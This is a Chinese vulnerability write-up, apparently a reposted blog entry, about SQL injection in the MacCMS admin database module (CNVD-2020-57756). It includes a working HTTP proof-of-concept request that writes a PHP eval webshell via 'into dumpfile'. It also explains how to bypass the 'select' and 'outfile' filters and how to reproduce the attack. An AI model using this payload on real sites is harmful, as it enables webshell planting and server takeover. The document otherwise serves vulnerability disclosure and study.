苹果CMS sql注入(CNVD-2020-57756)
侵权声明本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权掩护的材料,我们满怀敬意地认可该内容的版权归原作者所有。
如果您是版权持有人,并且以为您的作品被侵占,请通过以下方式与我们联系: 。我们将在确认后的合理时间内采取得当措施,包括删除相关内容。
感谢您的理解与支持
描述
后台数据库模块的实行sql语句的输入框可以在绕过的情况下进制一句话文件的写入。从而达到文件上传的目的。存在问题的目录如下:application\admin\controller\Database.php
版本
2024.1000.4043
POC
POST /admin.php/admin/database/sql.html HTTP/1.1
Host: host
Content-Length: 162
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; xinhu_mo_adminid=yy0nm0mjj0mjn0vy0mmj0vk0mmn0mjm0iq0mjz0mjz0iv0vi0iu0nv07; xinhu_ca_adminuser=rock; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=3a2cdfed8edffe57; DedeLoginTime=1723190565; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=9f6e455551874f96; PHPSESSID=2c0harmim0vftioojbj8nqvibs
Connection: keep-alive
__token__=6ffe6f2213f3ab54515b904dff3d2923&sql=%2F**%2Fselect+'%3C%3Fphp+%40eval(%24_POST%5B1%5D)%3B'+into+dumpfile+'C%3A%2Fphpstudy_pro%2FWWW%2Fmaccms10%2F1.php'
分析
通过poc可知文件位置
https://cdn.nlark.com/yuque/0/2024/png/45321337/1723245827626-456e447a-0302-42a8-bc7b-61ab3529a2a0.png#averageHue=%2321201f&clientId=u68c6a65a-2ebe-4&from=paste&height=535&id=ua32d7fbd&originHeight=535&originWidth=595&originalType=binary&ratio=1&rotation=0&showTitle=false&size=38541&status=done&style=none&taskId=ua8e32f89-63aa-4c43-b2ba-f9745ff6f6c&title=&width=595
前面主要是验证token是否有效,然后就将param数组中的sql语句直接赋值给参数sql。
看到第一个红框位置
strtolower(substr($sql,0,6))=="select"这一句是判断sql语句前六个字符先全部变为小写后判断是否为"select"字符串,这里可以在前加/**/注释符等其他绕过方法举行绕过。
stripos($sql, ' outfile') !== false这一句是判断sql语句中是否存在"outfile"关键字。这里可以用另一个文件写入函数dumpfile绕过。
红框二就是sql语句的实行,但是没有返回值,所以用报错和联合都是没有效果的只能用时间盲注。
当然sql语句文件上传是有要求的需要先关闭secure-file-priv
复现
1、将一句话上传到网站更目录
https://github.com/user-attachments/assets/f8ac3618-4ea1-48f6-ade8-03a1f40f3225#errorMessage=unknown%20error&id=k8ISU&originHeight=380&originWidth=1570&originalType=binary&ratio=1&rotation=0&showTitle=false&status=error&style=none
2、访问根目录的文件
https://github.com/user-attachments/assets/5934cd5f-2887-4a2d-ba71-8dc46df5b4df#errorMessage=unknown%20error&id=XZoFo&originHeight=142&originWidth=1323&originalType=binary&ratio=1&rotation=0&showTitle=false&status=error&style=none
修复
更新、举行更严格的过滤
总结
做了简单的防护但是可以轻松绕过。最重要的是文件写入有两个函数:outfile、dumpfile
免责声明
本博客所提供的技能知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提拔。作者严禁将这些技能和信息用于任何非法或不道德的目的。
使用本博客内容而导致的任何违法行为或结果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。
我们鼓励所有读者合法地使用所提供的信息和技能,致力于维护安全和负责任的网络环境。
感谢您的理解与支持。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]